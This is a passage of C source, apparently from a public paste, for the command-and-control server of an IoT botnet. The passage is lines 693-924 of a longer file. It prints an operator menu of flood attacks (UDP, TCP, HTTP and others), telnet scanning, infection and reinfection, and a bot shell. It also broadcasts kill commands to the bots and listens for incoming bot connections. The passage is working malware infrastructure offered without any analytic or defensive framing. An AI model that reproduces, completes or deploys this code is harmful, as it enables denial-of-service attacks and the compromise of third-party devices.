  693. if(strstr(buf, "HELP"))
  694. {
  695. pthread_create(&title, NULL, &TitleWriter, sock);
  696. char helpline1 [80];
  697. char helpline2 [80];
  698. char helpline3 [80];
  699. char helpline4 [80];
  700. char helpline5 [80];
  701. char helpline6 [80];
  702. char helpline7 [80];
  703. char helpline8 [80];
  704. char helpline9 [80];
  705. char helpline10 [80];
  706. char helpline11 [80];
  707. char helpline12 [80];
  708. char helpline13 [80];
  709. char helpline14 [80];
  710. char helpline15 [80];
  711. char helpline16 [80];
  712. char helpline17 [80];
  713. char helpline18 [80];
  714. char helpline19 [80];
  715. char helpline20 [80];
  716. char helpline21 [80];
  717. char helpline22 [80];
  718. char helpline23 [80];
  719. char helpline24 [80];
  720. char helpline25 [80];
  721. char helpline26 [80];
  722.  
  723.  
  724.  
  725. sprintf(helpline1, "\r\n[+] ATTACK COMMANDS [+]\r\n");
  726. sprintf(helpline2, "[-] UDP - !* UDP IP Port Time 32 0 10\r\n");
  727. sprintf(helpline3, "[-] TCP - !* TCP IP Port Time 32 all 0 10\r\n");
  728. sprintf(helpline4, "[-] STD - !* STD IP Port Time\r\n");
  729. sprintf(helpline5, "[-] JUNK - !* JUNK IP Port Time\r\n");
  730. sprintf(helpline6, "[-] HOLD - !* HOLD IP Port Time\r\n");
  731. sprintf(helpline7, "[-] HTTP - !* HTTP Url Time\r\n");
  732. sprintf(helpline8, "[-] KILL - !* KILLATTK | KILL\r\n");
  733.  
  734. sprintf(helpline9, "[+] SCANNING COMMANDS [+]\r\n");
  735. sprintf(helpline10, "[-] LOAD - LOAD\r\n");
  736. sprintf(helpline11, "[-] SCAN - SCAN1 | SCAN2 | SCAN3 | SCAN4 | SCAN5\r\n");
  737. sprintf(helpline12, "[-] SCAN - SCAN6 | SCAN7 | SCAN8 | SCAN9 | SCAN10\r\n");
  738. sprintf(helpline13, "[-] LUCKY - LUCKY | LUCKY2\r\n");
  739. sprintf(helpline14, "[-] STOP - SCAN_OFF\r\n");
  740.  
  741. sprintf(helpline15, "[+] GENERAL COMMANDS [+]\r\n");
  742. sprintf(helpline16, "[-] SHELL - !* SH\r\n");
  743. sprintf(helpline17, "[-] BOTS - !* BOTS | BOTS\r\n");
  744. sprintf(helpline18, "[-] STATUS - !* STATUS | STATUS\r\n");
  745. sprintf(helpline19, "[-] STATS - STATS\r\n");
  746.  
  747. sprintf(helpline20, "[+] MISC COMMANDS [+]\r\n");
  748. sprintf(helpline21, "[-] ATTACK_GUI - ATTACK");
  749. sprintf(helpline22, "[-] INECTION FILTER - FILTER\r\n");
  750. sprintf(helpline23, "[-] TELNET INFECT - INFECT\r\n");
  751. sprintf(helpline24, "[-] REINFECT BOTS - REINFECT\r\n");
  752. sprintf(helpline25, "[-] CLEARSCREEN - CLEAR\r\n");
  753. sprintf(helpline26, "[-] LOGOUT - LOGOUT\r\n");
  754.  
  755.  
  756.  
  757. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  758. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  759. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  760. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  761. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  762. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  763. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  764. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  765. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  766. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  767. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  768. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  769. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  770. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  771. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  772. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  773. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  774. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  775. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  776. if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  777. if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  778. if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  779. if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  780. if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  781. if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  782. if(send(datafd, helpline26, strlen(helpline26), MSG_NOSIGNAL) == -1) goto end;
  783. pthread_create(&title, NULL, &TitleWriter, sock);
  784. continue;
  785. }
  786. if(strstr(buf, "KILL"))
  787. {
  788. char killattack [2048];
  789. memset(killattack, 0, 2048);
  790. char killattack_msg [2048];
  791.  
  792. sprintf(killattack, "!* KILLATTK\r\n");
  793. broadcast(killattack, datafd, "KILL THAT SHIT");
  794. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  795.  
  796. sprintf(killattack_msg, "Attack Killed!\r\n");
  797. if(send(datafd, killattack_msg, strlen(killattack_msg), MSG_NOSIGNAL) == -1) goto end;
  798. continue;
  799. }
  800. if(strstr(buf, "CLEAR"))
  801. {
  802. char clearscreen [2048];
  803. memset(clearscreen, 0, 2048);
  804. sprintf(clearscreen, "\033[2J\033[1;1H");
  805. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  806. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  807. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  808. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  809. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  810. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  811. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  812. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  813. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  814. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  815. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  816. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  817. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  818. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  819. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  820. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  821. while(1) {
  822. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  823. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  824. break;
  825. }
  826. continue;
  827. }
  828. if(strstr(buf, "LOGOUT"))
  829. {
  830. char logoutmessage [2048];
  831. memset(logoutmessage, 0, 2048);
  832. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  833. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  834. sleep(5);
  835. goto end;
  836. }
  837. trim(buf);
  838. if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  839. if(strlen(buf) == 0) continue;
  840. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  841.  
  842. FILE *LogFile;
  843. LogFile = fopen("server_log.txt", "a");
  844. time_t now;
  845. struct tm *gmt;
  846. char formatted_gmt [50];
  847. char lcltime[50];
  848. now = time(NULL);
  849. gmt = gmtime(&now);
  850. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  851. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  852. fclose(LogFile);
  853. broadcast(buf, datafd, accounts[find_line].username);
  854. memset(buf, 0, 2048);
  855. }
  856. end:
  857. managements[datafd].connected = 0;
  858. close(datafd);
  859. OperatorsConnected--;
  860. }
  861. void *BotListener(int port) {
  862. int sockfd, newsockfd;
  863. socklen_t clilen;
  864. struct sockaddr_in serv_addr, cli_addr;
  865. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  866. if (sockfd < 0) perror("ERROR opening socket");
  867. bzero((char *) &serv_addr, sizeof(serv_addr));
  868. serv_addr.sin_family = AF_INET;
  869. serv_addr.sin_addr.s_addr = INADDR_ANY;
  870. serv_addr.sin_port = htons(port);
  871. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  872. listen(sockfd,5);
  873. clilen = sizeof(cli_addr);
  874. while(1) {
  875. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  876. if (newsockfd < 0) perror("ERROR on accept");
  877. pthread_t thread;
  878. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  879. }}
  880. int main (int argc, char *argv[], void *sock)//~B1NARY~
  881. {
  882. signal(SIGPIPE, SIG_IGN);
  883. int s, threads, port;
  884. struct epoll_event event;
  885. if (argc != 4) {
  886. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  887. exit (EXIT_FAILURE);
  888. }
  889. port = atoi(argv[3]);
  890. telFD = fopen("telnet.txt", "a+");
  891. threads = atoi(argv[2]);
  892. listenFD = create_and_bind (argv[1]);
  893. if (listenFD == -1) abort ();
  894. s = make_socket_non_blocking (listenFD);
  895. if (s == -1) abort ();
  896. s = listen (listenFD, SOMAXCONN);
  897. if (s == -1) {
  898. perror ("listen");
  899. abort ();
  900. }
  901. epollFD = epoll_create1 (0);
  902. if (epollFD == -1) {
  903. perror ("epoll_create");
  904. abort ();
  905. }
  906. event.data.fd = listenFD;
  907. event.events = EPOLLIN | EPOLLET;
  908. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  909. if (s == -1) {
  910. perror ("epoll_ctl");
  911. abort ();
  912. }
  913. pthread_t thread[threads + 2];
  914. while(threads--) {
  915. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  916. }
  917. pthread_create(&thread[0], NULL, &BotListener, port);
  918. while(1) {
  919. broadcast("PING", -1, "LEL");
  920. sleep(60);
  921. }
  922. close (listenFD);
  923. return EXIT_SUCCESS;
  924. }
Add Comment
Please, Sign In to add comment